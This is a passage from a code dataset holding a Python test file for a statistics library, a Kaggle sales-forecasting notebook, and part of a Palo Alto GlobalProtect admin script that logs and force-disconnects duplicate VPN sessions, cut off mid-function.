dist2 = meri5.fit(Distribution(\"B\", 0, 10, 0.437879))\n        assert str(dist1)==str(dist2)\n\n\nclass TestSelectHist:\n\n    def __init__(self):\n        pass\n    def test_value_select_float(self):\n        meri1 = Histogram(get_shared_data(\"meri1.his\"))\n        # note keep=False is equivalent to Mode=keep,is this correct ?\n        assert str(ValueSelect(meri1, 0, 10, Mode=\"Keep\"))==\\\n            str(meri1.value_select( min=0, max=10, keep=True))\n\n\nclass TestValueSelect(data):\n\n    def __init__(self):\n        data.__init__(self)\n\n    def test_value_select_float(self):\n\n        v = self.float_vector_data()\n\n        v1b = ValueSelect(v, 1, 0.2, 2.0, Mode=\"Keep\")\n        v2 =  ValueSelect(v, 2, 1.0, 6.0, Mode=\"Keep\")\n        v3 =  ValueSelect(v, 3, 1.0, 2.0, Mode=\"Keep\")\n\n        assert v and v1b and v2 and v3\n        assert len(v1b) == 1\n\n        assert str(ValueSelect(v, 1, 0.2, 2, Mode=\"Keep\")) == \\\n                str(v.value_select(1, 0.2, 2, keep=True))\n        assert str(ValueSelect(v, 2, 1.0, 6.0, Mode=\"Keep\")) == \\\n                str(v.value_select(2, 1.0, 6.0, keep=True))\n        assert str(ValueSelect(v, 3, 1.0, 2.0, Mode=\"Keep\")) == \\\n                str(v.value_select(3, 1.0, 2., keep=True))\n\n    def test_value_select_int(self):\n\n        v = self.int_vector_data()\n        v1b =  ValueSelect(v, 1, 2, 8, Mode=\"Reject\")\n        assert v1b\n\n        try:\n            _v1 =  ValueSelect(v, 1, 2, 3, Mode=\"Keep\")\n            assert False\n        except Exception:\n            # Empty sample\n            assert True\n\n    def test_compound_data(self):\n        comp_data = self.comp_data()\n        assert comp_data.value_select(1, 20, True)\n\n    def test_convolution_data(self):\n        conv_data = self.conv_data()\n        assert conv_data.value_select(1, 20, True)\n\n    def test_mixture_data(self):\n        mixt_data = self.mixt_data()\n        assert mixt_data.value_select(1, 20, True)\n\n    def test_histo_data(self):\n        hist_data = self.hist_data()\n        assert hist_data.value_select(1, 20, True)\n\nclass TestSelectVariable(data):\n\n    def __init__(self):\n        data.__init__(self)\n\n    def test_vector(self):\n\n        v = self.int_vector_data()\n\n        for i in range(3):\n            v1 =  SelectVariable(v, i+1, Mode=\"Keep\")\n            assert v1\n            assert len(v1) == 3\n            assert len(v1[0]) == 1\n            assert str(v.select_variable([i+1], keep=True)) == \\\n                str(SelectVariable(v, i+1, Mode=\"Keep\"))\n            for j in range(3):\n                assert v1[j][0] == v[j][i]\n\n\nclass TestSelectIndividual(data):\n\n    def __init__(self):\n        data.__init__(self)\n\n    def test_vector_integer(self):\n\n        v = self.int_vector_data()\n\n        selection = SelectIndividual(v, [1, 2], Mode=\"Keep\")\n        selection2 = v.select_individual([1, 2], keep=True)\n\n        assert str(selection)==str(selection2)\n\n        assert len(selection) == 2\n\n    def test_distance_matrix(self):\n        \"\"\"not implemented - distance matrix \"\"\"\n        pass\n\n\nclass TestExtract():\n    \"\"\"\n    Extract(\"Compound\") see test_compound\n    Extract(\"Convolution\") see test_convolution\n    Extract(\"Mixture\") see test_mixture\n    Sum, elementary, component, weight see test_compound, and so on.\n    \"\"\"\n    def __init__(self):\n        pass\n\n\n\nclass TestExtractData():\n    \"\"\"\n    See other test file.\n    \"\"\"\n\n    def __init__(self):\n        pass\n\n    def test_histo_extract_data(self):\n\n        h = Histogram(get_shared_data(\"meri2.his\"))\n        mixt = h.estimate_mixture([\"B\", \"NB\"])\n        assert ExtractData(mixt)\n        assert mixt.extract_data() == ExtractData(mixt)\n\n\nclass TestExtractDistribution(data):\n\n    def __init__(self):\n        data.__init__(self)\n\n    def test_mixture(self):\n        mixt = self.mixt()\n\n        assert ExtractDistribution(mixt, \"Weight\")\n        assert ExtractDistribution(mixt, \"Weight\") == mixt.extract_weight()\n        assert ExtractDistribution(mixt, \"Mixture\") == mixt.extract_mixture()\n        assert ExtractDistribution(mixt, \"Component\", 1) == \\\n            mixt.extract_component(1)\n        assert ExtractDistribution(mixt, \"Component\", 2) == \\\n            mixt.extract_component(2)\n        assert ExtractDistribution(mixt, \"Component\", 3) == \\\n            mixt.extract_component(3)\n\n        try:\n            ExtractDistribution(mixt, \"Component\", 0)\n            assert False\n        except: # Bas distrubition index\n            assert True\n\n    def test_convolution(self):\n        convol = self.conv()\n\n        assert ExtractDistribution(convol, \"Convolution\") == \\\n            convol.extract_convolution()\n        assert ExtractDistribution(convol, \"Elementary\", 1) == \\\n            convol.extract_elementary(1)\n        assert ExtractDistribution(convol, \"Elementary\", 2) == \\\n            convol.extract_elementary(2)\n\n    def test_compound(self):\n        comp = self.comp()\n\n        assert ExtractDistribution(comp, \"Compound\") == \\\n            comp.extract_compound()\n        assert ExtractDistribution(comp, \"Elementary\") == \\\n            comp.extract_elementary()\n        assert ExtractDistribution(comp, \"Sum\") == \\\n            comp.extract_sum()\n\n\n\nclass TestExtractHistogram:\n\n    def __init__(self):\n        pass\n\n    def test_mixture(self):\n\n        h = Histogram(get_shared_data(\"meri2.his\"))\n        mixt = h.estimate_mixture([\"B\", \"NB\"])\n\n        assert ExtractHistogram(mixt, \"Weight\") == \\\n            mixt.extract_weight()\n        assert ExtractHistogram(mixt, \"Mixture\") == \\\n            mixt.extract_mixture()\n        assert ExtractHistogram(mixt, \"Component\", 1) == \\\n            mixt.extract_component(1)\n        assert ExtractHistogram(mixt, \"Component\", 2) == \\\n            mixt.extract_component(2)\n\n        try:\n            ExtractHistogram(mixt, \"Component\", 3)\n            assert False\n        except: # Bas distrubition index\n            assert True\n\n    def test_convolution(self):\n        convol = Convolution(\"data/convolution1.conv\")\n        convol_histo = Simulate(convol, 200)\n        _histo = ExtractHistogram(convol_histo, \"Elementary\", 1)\n        _histo = ExtractHistogram(convol_histo, \"Convolution\")\n\n    def test_compound(self):\n        comp  = Compound(\"data/compound1.cd\")\n        comp_histo = Simulate(comp, 200)\n        _histo = ExtractHistogram(comp_histo, \"Sum\")\n        _histo = ExtractHistogram(comp_histo, \"Elementary\")\n\n    def test_vectors(self):\n        v = Vectors([[1, 2, 3, 4, 5, 6, 7]])\n        ExtractHistogram(v, 1)\n        v = Vectors([[1, 2], [3, 4]])\n        ExtractHistogram(v, 1)\n\n\nclass TestMerge(data):\n\n    def __init__(self):\n        data.__init__(self)\n\n    def test_merge(self):\n\n        mixt1 = Mixture(0.6, Distribution(\"B\", 2, 18, 0.5),\n                        0.4, Distribution(\"NB\", 10, 10, 0.5))\n\n        mixt_histo1 = Simulate(mixt1, 200)\n\n        histo10 = mixt_histo1.extract_component(1)\n        histo11 = mixt_histo1.extract_component(2)\n\n        histo12 = Merge(histo10, histo11)\n\n        assert histo12\n        Plot(histo12)\n\n    def test_merge_histo(self):\n        meri1 = Histogram(get_shared_data( \"meri1.his\"))\n        meri2 = Histogram(get_shared_data( \"meri2.his\"))\n        meri3 = Histogram(get_shared_data( \"meri3.his\"))\n        meri4 = Histogram(get_shared_data( \"meri4.his\"))\n        meri5 = Histogram(get_shared_data( \"meri5.his\"))\n       \n\n        meri = Merge(meri1, meri2, meri3, meri4, meri5)\n        assert meri\n        meri_bis = meri1.merge([meri2, meri3, meri4, meri5])\n        assert meri_bis\n        assert str(meri)==str(meri_bis)\n        Plot(meri)\n\n    def test_merge_vectors(self):\n\n        v1 = self.int_vector_data()\n        b = [[2, 78, 45],\n             [6, 2, 122],\n             [3, 4, 31],]\n        v2 = Vectors(b)\n\n        v = Merge(v1, v2)\n        assert v\n\n        a = v1.merge([v2])\n        b = v2.merge([v1])\n        assert str(a)==str(b)\n\n        assert str(a)==str(v)\n        Plot(v)\n\n\nclass TestMergeVariable(data):\n\n    def __init__(self):\n        data.__init__(self)\n\n    def test_vector(self):\n        v = self.int_vector_data()\n\n        v1 =  SelectVariable(v, 1, Mode=\"keep\")\n        v2 =  SelectVariable(v, 2, Mode=\"Keep\")\n        v3 =  SelectVariable(v, 3, Mode=\"Keep\")\n\n        merged = MergeVariable(v1, v2, v3)\n        merged2 = v1.merge_variable([v2, v3], 1)\n        for i in range(3):\n            for j in range(3):\n                assert merged[i][j] == v[i][j]\n\n        assert str(merged) == str(merged2)\n\n\n\nif __name__ == \"__main__\":\n    runTestClass(TestSelectHist())\n    runTestClass(TestFit())\n    runTestClass(TestShift())\n    runTestClass(TestExtractHistogram())\n    runTestClass(TestMerge())\n    runTestClass(TestMergeVariable())\n    runTestClass(TestValueSelect())\n    runTestClass(TestSelectVariable())\n    runTestClass(TestSelectIndividual())\n    runTestClass(TestExtract())\n    runTestClass(TestExtractData())\n    runTestClass(TestExtractDistribution())\n","repo_name":"openalea/StructureAnalysis","sub_path":"stat_tool/test/test_data_transform.py","file_name":"test_data_transform.py","file_ext":"py","file_size_in_byte":12860,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"}
+{"seq_id":"72956168055","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\n\n# Python ≥3.5 is required\nimport sys\nassert sys.version_info >= (3, 5)\n\n# Scikit-Learn ≥0.20 is required\nimport sklearn\nassert sklearn.__version__ >= \"0.20\"\n\n# Common imports\nimport numpy as np\nimport os\nimport gc\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport numpy as np\nimport pandas as pd\n\nget_ipython().run_line_magic('matplotlib', 'inline')\n#plotting directly without requering the plot()\n\nimport warnings\nwarnings.filterwarnings(action=\"ignore\") #ignoring most of warnings, cleaning up the notebook for better visualization\n\npd.set_option('display.max_columns', 500) #fixing the number of rows and columns to be displayed\npd.set_option('display.max_rows', 500)\n\nprint(os.listdir(\"../input\")) #showing all the files in the ../input directory\n\n# Any results you write to the current directory are saved as output. Kaggle message :D\n\n\n\n\ntrain = pd.read_csv('../input/train.csv', parse_dates=True, infer_datetime_format=True, dayfirst=True)\ntest = pd.read_csv('../input/test.csv', parse_dates=True, infer_datetime_format=True, dayfirst=True)\n\n\n\n\nprint('----- DETAILS of our DATASET -----')\nprint('Training shape: %s' %str(train.shape))\nprint('Testing shape: %s' %str(test.shape))\nprint('First date entry for the training dataset: %s' %train.index.min())\nprint('Last date entry for the training dataset: %s' %train.index.max())\nprint('First date entry for the testing dataset: %s' %test['date'].min())\nprint('Last date entry for the testing dataset: %s' %test['date'].max())\nprint('Number of unique items, training set: %s' %train['item'].nunique())\nprint('Number of unique items, testing set: %s' %test['item'].nunique())\ntrain.head()\n\n\n\n\n# Concatenating train & test\ntrain['split'] = 'train'\ntest['split'] = 'test'\ndf_total = pd.concat([train,test], sort=False)\nprint('Total shape: {}'.format(df_total.shape))\ndel train, test\ngc.collect()\ndf_total.head()\n\n\n\n\ndf_total['date'] = pd.to_datetime(df_total['date'], dayfirst=True,infer_datetime_format=True)\ndf_total['month'] = df_total['date'].dt.month\ndf_total['year'] = df_total['date'].dt.year\ndf_total['weekday'] = df_total['date'].dt.weekday\ndf_total['day_of_month'] = df_total['date'].dt.day\ndf_total['day_of_year'] = df_total['date'].dt.dayofyear\ndf_total.tail()\n\n\n\n\n#sns.set_style('ticks') #setting the style for our plots\nplt.style.use('dark_background') #another style,this one is from the matplotlib\n\nfig = plt.figure(figsize=(16,14))\n\nplt.subplot(5,1,1)\nsns.lineplot(y='sales', x='year', data=df_total, label='Sales');plt.title('Sales per year')\nplt.subplot(5,1,2)\nsns.lineplot(y='sales', x='month', data=df_total, label='Sales');plt.title('Sales per month')\nplt.subplot(5,1,3)\nsns.lineplot(y='sales', x='weekday', data=df_total, label='Sales');plt.title('Sales per weekday')\nplt.subplot(5,1,4)\nsns.barplot(x=df_total['store'], y=df_total['sales'], errwidth=0,palette=\"PuBuGn_d\");plt.title('Sales distribution across stores')\nplt.subplot(5,1,5)\nsns.barplot(x=df_total['item'], y=df_total['sales'], errwidth=0,palette=\"PuBuGn_d\");plt.title('Sales distribution across items')\nplt.tight_layout(h_pad=2.5)\n\n\n\n\n# taking the log1+ of our target(sales)\ndf_total['sales'] = np.log1p(df_total.sales.values)\n\n\n\n\nfig = plt.figure(figsize=(16,5))\ndf_total.set_index('date')['sales'].plot(); plt.title('Distribution of sales log1p')\n\n\n\n\nval_months = (df_total.year==2017) & (df_total.month.isin([1,2,3]))\nskip = (df_total.year==2017) & (~val_months)\ndf_total.loc[(val_months), 'split'] = 'val'\ndf_total.loc[(skip), 'split'] = 'skip'\ntrain = df_total.loc[df_total.split.isin(['train','val','test']), :]\ntrain_labels = train.loc[train['split'] == 'train', 'sales'].values.reshape((-1))\ntrain_labels_val = train.loc[train['split'] == 'val', 'sales'].values.reshape((-1))\nprint('Shape Training set: %s' %str(train[train['split']== 'train'].shape))\nprint('Shape Validation set: %s' %str(train[train['split']== 'val'].shape))\nprint('Shape Testing set: %s' %str(train[train['split']== 'test'].shape))\nprint('train labels(Y): %s' %str(train_labels.shape))\nprint('train labels for the validation set(Y_val): %s' %str(train_labels_val.shape))\n\n\n\n\nfig = plt.figure(figsize=(16,5))\ndf_total.set_index('date', inplace=True)\ndf_total.loc[df_total['split'] == 'train', 'sales'].plot(c='r', label='train')\ndf_total.loc[df_total['split'] == 'val', 'sales'].plot(c='b', label='validation')\ndf_total.loc[df_total['split'] == 'skip', 'sales'].plot(c='g', label='skip')\nplt.title('Log 1+ Sales, training, skipped part and validation set.')\nplt.legend()\n\n\n\n\nlags=[91,98,105,112,119,126,182,364,546,728] #lag for previous months, 91 days until 728 days\nalpha=[0.95, 0.9, 0.8, 0.7, 0.6, 0.5] #It's gonna be used for the exponential weighted moving average\n\ntrain.loc[train['split'] == 'val', 'sales'] = np.nan \n#setting all the sales validation which is gonna be used for our transformation below, \n##this is gonna help our model generalize better\n####we have saved our validation labels before, so it's ok\n\ntemp_groupby = train.groupby(['store','item'])\n\n### creating lag features for the number of days in lag ###\nfor i in lags:\n    train['_'.join(['sales', 'lag', str(i)])] =                 temp_groupby['sales'].shift(i).values + np.random.normal(scale=1.6, size=(len(train),)) #normalizing term\n\n### creating the exponential weighted average, using the same days as in lag ###\nfor a in alpha:\n    for i in lags:\n        train['_'.join(['sales', 'lag', str(i), 'ewm', str(a)])] =             temp_groupby['sales'].shift(i).ewm(alpha=a).mean().values\n\n### creating the rolling mean for 1 year and 1 year and half ###\nfor w in [364,546]:\n    train['_'.join(['sales', 'rmean', str(w)])] =             temp_groupby['sales'].shift(1).rolling(window=w, \n                                                  min_periods=10,\n                                                  win_type='triang').mean().values +\\\n            np.random.normal(scale=1.6, size=(len(train),)) #normalizing term\n\ndel temp_groupby #--cleaning the memory up--\ngc.collect()\n\n\n\n\ntrain.head()\n\n\n\n\nfig = plt.figure(figsize=(16,5))\nplt.subplot(2,1,1)\nsns.lineplot(y='sales_lag_364_ewm_0.95', x='month',  data=train, label=\"12M EWM\");\nsns.lineplot(y='sales', x='month',  data=train, label=\"Normal Sales\");\nsns.lineplot(y='sales_lag_364', x='month',  data=train, label=\"sales 12M lag\");\nplt.legend()\nplt.subplot(2,1,2)\nsns.lineplot(y='sales_rmean_364', x='month',  data=train, label=\"12M mean\");\nsns.lineplot(y='sales', x='month',  data=train, label=\"Normal Sales\");\nsns.lineplot(y='sales_rmean_546', x='month',  data=train, label=\"sales 20M mean\");\nplt.tight_layout(h_pad=1.5)\n\n\n\n\ntrain = pd.get_dummies(train, columns=['store','item','day_of_month','weekday','month'])\nprint('Shape after creating the dummies: {}'.format(train.shape))\n\n\n\n\n# Final train, validation and testing datasets\ntrain_val = train.loc[train.split=='val', :]\ntrain_X = train.loc[train.split=='train', :]\ntest_sub = train.loc[train.split == 'test',:]\nprint('Training shape:{}, Validation shape:{}, Labels X: {}, Labels Validation: {}, Testing shape: {}'\n      .format(train_X.shape, train_val.shape,train_labels.shape,train_labels_val.shape, test_sub.shape))\n\n\n\n\nimport time #implementing in this function the time spent on training the model\nfrom catboost import CatBoostRegressor, Pool\nimport lightgbm as lgb\nimport xgboost as xgb\nimport gc\n\n####### FUNCTIONS FOR CALCULATING THE SMAPE LOSS ##########\ndef lgbm_smape(preds, train_data):\n    labels = train_data.get_label()\n    smape_val = smape(np.expm1(preds), np.expm1(labels))\n    return 'SMAPE', smape_val, False\n\ndef smape(preds, target):\n    n = len(preds)\n    masked_arr = ~((preds==0)&(target==0))\n    preds, target = preds[masked_arr], target[masked_arr]\n    num = np.abs(preds-target)\n    denom = np.abs(preds)+np.abs(target)\n    smape_val = (200*np.sum(num/denom))/n\n    return smape_val\n\ndef train_model(X, X_val, y, y_val, params=None, model_type='lgb', plot_feature_importance=False, model=None):\n\n    mask = ['date', 'sales', 'split', 'id', 'year']\n    cols = [col for col in train.columns if col not in mask]\n    evals_result={}\n    if model_type == 'lgb':\n        start = time.time()\n        X_train = lgb.Dataset(data=X.loc[:,cols].values, label=y, \n                       feature_name=cols)\n        \n        X_valid = lgb.Dataset(data=X_val.loc[:,cols].values, label=y_val, \n                     reference=X_train, feature_name=cols)\n        \n        model = lgb.train(params, X_train, num_boost_round=params['num_boost_round'], \n                      valid_sets=[X_train, X_valid], feval=lgbm_smape, \n                      early_stopping_rounds=params['early_stopping_rounds'], \n                      evals_result=evals_result, verbose_eval=500)\n            \n        y_pred_valid = model.predict(X_val.loc[:, cols].values, num_iteration=model.best_iteration)\n        y_pred_valid = np.expm1(y_pred_valid)\n        y_val = np.expm1(y_val)\n        \n        end = time.time()\n        \n        #y_pred = model.predict(X_test, num_iteration=model.best_iteration_)\n        \n        print('SMAPE validation data: {}'.format(smape(y_pred_valid, y_val)))\n        \n        if plot_feature_importance:\n            # feature importance\n            fig, ax = plt.subplots(figsize=(12,10))\n            lgb.plot_importance(model, max_num_features=50, height=0.8, ax=ax)\n            ax.grid(False)\n            plt.title(\"LightGBM - Feature Importance\", fontsize=15)\n            \n        print('Total time spent: {}'.format(end-start))\n        return model\n            \n    if model_type == 'xgb':\n        start = time.time()\n        train_data = xgb.DMatrix(data=X.loc[:,cols].values, label=y)\n        valid_data = xgb.DMatrix(data=X_val.loc[:,cols].values, label=y_val)\n\n        watchlist = [(train_data, 'train'), (valid_data, 'valid_data')]\n        model = xgb.train(dtrain=train_data, num_boost_round=20000, evals=watchlist, \n                          early_stopping_rounds=200, verbose_eval=500, params=params)\n        \n        y_pred_valid = model.predict(xgb.DMatrix(X_val.loc[:,cols].values), ntree_limit=model.best_ntree_limit)\n        \n        end = time.time()\n\n        print('SMAPE validation data: {}'.format(smape(y_pred_valid, y_val)))\n        \n        print('Total time spent: {}'.format(end-start))\n        return model\n            \n    if model_type == 'cat':\n        start = time.time()\n        model = CatBoostRegressor(eval_metric='MAE', **params)\n        model.fit(X.loc[:,cols].values, y, eval_set=(X_val.loc[:,cols].values, y_val), \n                  cat_features=[], use_best_model=True)\n\n        y_pred_valid = model.predict(X_val.loc[:,cols].values)\n        \n        print('SMAPE validation data: {}'.format(smape(y_pred_valid, y_val)))\n        \n        if plot_feature_importance:\n            feature_score = pd.DataFrame(list(zip(X.loc[:,cols].dtypes.index, \n                                                  model.get_feature_importance(Pool(X.loc[:,cols], label=y, cat_features=[])))), columns=['Feature','Score'])\n            feature_score = feature_score.sort_values(by='Score', kind='quicksort', na_position='last')\n            feature_score[:50].plot('Feature', 'Score', kind='barh', color='c', figsize=(12,10))\n            plt.title(\"Catboost Feature Importance plot\", fontsize = 14)\n            plt.xlabel('')\n        \n        end = time.time()\n\n        print('Total time spent: {}'.format(end-start))\n        return model\n        \n    # Clean up memory\n    gc.enable()\n    del model, y_pred_valid, X_test,X_train,X_valid, y_pred, y_train, start, end,evals_result\n    gc.collect()\n\n\n\n\nparams = {\n          'num_leaves': 10,\n         'min_data_in_leaf': 20,\n         'objective': 'regression',\n         'max_depth': 6,\n         'learning_rate': 0.02,\n        'num_boost_round': 25000, \n        'early_stopping_rounds':200,\n         \"feature_fraction\": 0.9,\n         \"bagging_freq\": 1,\n         \"bagging_fraction\": 0.9,\n         \"bagging_seed\": 11,\n         'metric': 'mae',\n         \"lambda_l1\": 0.2,\n}\nlgb_model = train_model(train_X,train_val,train_labels,train_labels_val,params, plot_feature_importance=True)\n\n\n\n\nparams_cat = {\n    'iterations': 2000,\n    'max_ctr_complexity': 6,\n    'random_seed': 42,\n    'od_type': 'Iter',\n    'od_wait': 50,\n    'verbose': 50,\n    'depth': 4\n}\n\ncat_model = train_model(train_X,train_val,train_labels,train_labels_val,params_cat,model_type='cat', plot_feature_importance=True)\n\n\n\n\nmask = ['date', 'sales', 'split', 'id', 'year']\ncols = [col for col in train.columns if col not in mask]\npredict_lgb = lgb_model.predict(test_sub.loc[:,cols].values, num_iteration=lgb_model.best_iteration)\npredict_cat = cat_model.predict(test_sub.loc[:,cols].values)\npredict_avg = (predict_lgb+predict_cat)/2\nsub = pd.read_csv('../input/sample_submission.csv')\nsub['sales'] = np.expm1(predict_avg)\nsub.to_csv('lgb_model.csv', index=False)\nsub.head()\n\n","repo_name":"aorursy/lost-nb","sub_path":"akumaldo_time-series-eda-and-simple-lgb-cat-model.py","file_name":"akumaldo_time-series-eda-and-simple-lgb-cat-model.py","file_ext":"py","file_size_in_byte":12884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"36745852237","text":"#!/usr/bin/python3\nimport time\nimport datetime\nimport requests\nimport xmltodict\nimport os\n\nrequests.packages.urllib3.disable_warnings()\nlog4y = lambda _: print(datetime.datetime.now().strftime(\"%d-%m-%Y %H:%M:%S\") + \" \" + _)\n\n\ndef fw_key(fw_ip, uname, pwd):\n    # function to get API key from username/password\n    api_url = f\"https://{fw_ip}/api\"\n    api_prm = {\n        \"type\": \"keygen\",\n        \"user\": {uname},\n        \"password\": {pwd}\n    }\n    api_hdr = {}\n    api_pld = {}\n\n    for _ in range(3):\n        try:\n            log4y(f\"PAN-OS API: Connection Requested, Firewall {fw_ip}\")\n            response = requests.request(\"GET\", url=api_url, params=api_prm, verify=False, timeout=3)\n        except:\n            log4y(f\"PAN-OS API: Connection Failure, Firewall {fw_ip} Unreachable, will retry in 5 secs\")\n            time.sleep(5)\n        else:\n            log4y(f\"PAN-OS API: Connection Succeeded, Firewall {fw_ip} Key Retrieved\")\n            if \"Invalid Credential\" in response.text:\n                log4y(f\"PAN-OS API: Invalid Credential, Firewall {fw_ip}\")\n                return False\n            elif \"key\" in response.text:\n                key = xmltodict.parse(response.text)[\"response\"][\"result\"][\"key\"]\n                return key\n    log4y(f\"PAN-OS API: Connection Failure, Firewall {fw_ip} Unreachable, max. retries exceeded\")\n    # raise Exception(f\" PAN-OS API: Connection Failure, Firewall {fw_ip} Unreachable, max. retries exceeded\")\n    return False\n\n\ndef fw_gp_ext(fw_ip, fw_key):\n    # function to return list of connected GP users in a list of dictionaries\n    # each connected user has an entry on the list with dictionary of key/value pairs\n    # Sample of user dictionary {'Username': '', 'Client-Hostname': '', 'Client-OS': '', 'Client-Source-IP': ''}\n    # Duration Connected and Client-Country added to code @25Dec22\n    api_url = f\"https://{fw_ip}/api\"\n    api_prm = {\n        \"key\": fw_key,\n        \"type\": \"op\",\n        \"cmd\": \"<show><global-protect-gateway><current-user/></global-protect-gateway></show>\"\n    }\n    api_hdr = {}\n    api_pld = {}\n    try:\n        log4y(f\"PAN-OS API: Request GP-Gateway Connected Users, Firewall {fw_ip}\")\n        response = requests.request(\"GET\", url=api_url, params=api_prm, verify=False, timeout=3)\n    except:\n        log4y(f\"PAN-OS API: Connection Failure, Firewall {fw_ip} Unreachable\")\n        raise ValueError(f\" PAN-OS API: Connection Failure, Firewall {fw_ip} Unreachable\")\n    else:\n        log4y(f\"PAN-OS API: Analyzing GP-Gateway Connected Users, Firewall {fw_ip}\")\n        result = xmltodict.parse(response.text)[\"response\"][\"result\"]\n        # print(response.text)\n        gp_users = []\n        if result:\n            log4y(f\"PAN-OS API: Found Users Connected to GP-Gateway, Firewall {fw_ip}\")\n            if type(result[\"entry\"]) == dict:\n                # In case there is only 1 connected GP user, FW returns the result as Dict\n                # While if there are more than 1 connected GP user, FW returns the result as List\n                # In order to unify the return for the code, if FW returns Dict, it is added to a List\n                result[\"entry\"] = [result[\"entry\"]]\n            for _ in result[\"entry\"]:\n                user = dict()\n                user[\"Username\"] = _[\"username\"]\n                user[\"Client-Hostname\"] = _[\"computer\"]\n                user[\"Client-OS\"] = _[\"client\"]\n                user[\"Client-Source-IP\"] = _[\"client-ip\"]\n                user[\"Client-Country\"] = _[\"source-region\"]\n                user[\"Login-Time\"] = _[\"login-time\"]\n                user[\"Duration-Connected\"] = int(time.time()) - int(_[\"login-time-utc\"])\n                gp_users.append(user)\n                log4y(f\"PAN-OS API: User \\\"{user['Username']}\\\" Connected to GP-Gateway, Firewall {fw_ip}\")\n        else:\n            log4y(f\"PAN-OS API: NO Users Connected to GP-Gateway, Firewall {fw_ip}\")\n        return gp_users\n\n\ndef fw_gp_lst(gp_ext):\n    # function to return list of connected GP users in a List\n    # It only returns the usernames\n    # The input of the function is the List coming from 'fw_gp_ext' function\n    gp_users = []\n    for _ in gp_ext:\n        gp_users.append(_[\"Username\"])\n    return gp_users\n\n\ndef fw_gp_gw_id(fw_ip, fw_key):\n    # function to get the GP Gateway ID\n    # PAN-OS CLI show global-protect-gateway gateway, the output from \"Tunnel Name\"\n    api_url = f\"https://{fw_ip}/api\"\n    api_prm = {\n        \"key\": fw_key,\n        \"type\": \"op\",\n        \"cmd\": \"<show><global-protect-gateway><gateway/></global-protect-gateway></show>\"\n    }\n    api_hdr = {}\n    api_pld = {}\n    try:\n        log4y(f\"PAN-OS API: Request GP-Gateway Name, Firewall {fw_ip}\")\n        response = requests.request(\"GET\", url=api_url, params=api_prm, verify=False, timeout=3)\n    except:\n        log4y(f\"PAN-OS API: Connection Failure, Firewall {fw_ip} Unreachable\")\n        raise ValueError(f\"PAN-OS API: Connection Failure, Firewall {fw_ip} Unreachable\")\n    else:\n        if \"portal\" in response.text:\n            gateway_name = xmltodict.parse(response.text)[\"response\"][\"result\"][\"entry\"][\"portal\"]\n            log4y(f\"PAN-OS API: GP-Gateway Name is {gateway_name}, Firewall {fw_ip}\")\n            return gateway_name\n        else:\n            log4y(f\"PAN-OS API: GP Not Running on this Firewall, Firewall {fw_ip}\")\n            raise ValueError(f\"PAN-OS API: GP Not Running on this Firewall, Firewall {fw_ip}\")\n    return False\n\n\ndef gp_user_logout(fw_ip, fw_key, username, computer, gateway_name):\n    # function to force GP User logout via PAN-OS API\n    # GP logout is forced by username and computer name i.e. hostname\n    # GP Gateway name is needed, and taken from other function fw_gp_gw_id\n    api_url = f\"https://{fw_ip}/api\"\n    cmd = f\"\"\"\n    <request>\n        <global-protect-gateway>\n            <client-logout>\n                <user>{username}</user>\n                <computer>{computer}</computer>\n                <reason>force-logout</reason>\n                <gateway>{gateway_name}</gateway>\n            </client-logout>\n        </global-protect-gateway>\n    </request>\n    \"\"\"\n    # print(cmd)\n    api_prm = {\n        \"key\": fw_key,\n        \"type\": \"op\",\n        \"cmd\": cmd\n    }\n    api_hdr = {}\n    api_pld = {}\n    try:\n        log4y(f\"PAN-OS API: Request GP-Gateway Disconnect User - user:{username} Host:{computer}, Firewall {fw_ip}\")\n        response = requests.request(\"GET\", url=api_url, params=api_prm, verify=False, timeout=3)\n    except:\n        log4y(f\"PAN-OS API: GP-Gateway Disconnect User Failure - user:{username} Host:{computer}, Firewall:{fw_ip}\")\n        raise ValueError(f\"PAN-OS API: Connection Failure, Firewall {fw_ip} Unreachable\")\n    else:\n        if \"success\" in response.text:\n            log4y(\n                f\"PAN-OS API: GP-Gateway Disconnect User Successful - user:{username} Host:{computer}, Firewall {fw_ip}\")\n        else:\n            log4y(\n                f\"PAN-OS API: PAN-OS API: GP-Gateway Disconnect User Failure - user:{username} Host:{computer}, Firewall:{fw_ip}\")\n            log4y(f\"PAN-OS API: {response.text}\")\n\n\ndef fw_gp_duplicates(gp_lst, gp_ext, fw_ip, fw_key, csv_path):\n    # function to find out Duplicate GP sessions. Inputs are GP connected Users summary list and extended details list\n    # Users summary set remove duplicate users from summary list\n    gp_set = set(gp_lst)\n    # Define new list that will hold duplicate Users summary\n    gp_duplicate_lst = []\n    for _ in gp_set:\n        log4y(f\"PAN-OS API: User {_} has {gp_lst.count(_)} Active GP Sessions\") if gp_lst.count(_) > 1 else None\n        gp_duplicate_lst.append(_) if gp_lst.count(_) > 1 else None\n\n    # Get GP Gateway Name by calling fw_gp_gw_id function\n    gateway_name = fw_gp_gw_id(fw_ip=fw_ip, fw_key=fw_key)\n    # Define new list that will hold duplicate Users extended details\n    gp_duplicate_ext = []\n    # Loop for each User in the Duplicate Summary List\n    for _ in gp_duplicate_lst:\n        # Define Key/Value that holds connection_duration:hostname for each active connection for that user\n        disconnection_table = dict()\n        # Search for duplicate user name in the GP extended details list\n        for entry in gp_ext:\n            if _ == entry[\"Username\"]:\n                gp_duplicate_ext.append(entry)\n                disconnection_table[entry[\"Duration-Connected\"]] = entry[\"Client-Hostname\"]\n                csv_entry = f'{datetime.datetime.now().strftime(\"%Y%m%d%H%M\")},' \\\n                            f'{entry[\"Username\"]},' \\\n                            f'{datetime.datetime.now().strftime(\"%b.%d.%Y\")},' \\\n                            f'{datetime.datetime.now().strftime(\"%H:%M:%S\")},' \\\n                            f'{entry[\"Client-Hostname\"]},' \\\n                            f'{entry[\"Client-Source-IP\"]},' \\\n                            f'{entry[\"Client-Country\"]},' \\\n                            f'{entry[\"Login-Time\"]}' \\\n                            f'\\n'\n                with open(csv_path, \"a+\") as csv_file:\n                    csv_file.write(csv_entry)\n        # reverse = True for Descending Order .. i.e. place the higher connection-duration at the top\n        disconnection_lst = sorted(disconnection_table.items(), reverse=True)\n        # remove the first element on the list .. remove the session with higher connection-duration\n        disconnection_lst.pop(0)\n        disconnection_table = dict(disconnection_lst)\n\n        for key, value in disconnection_table.items():\n            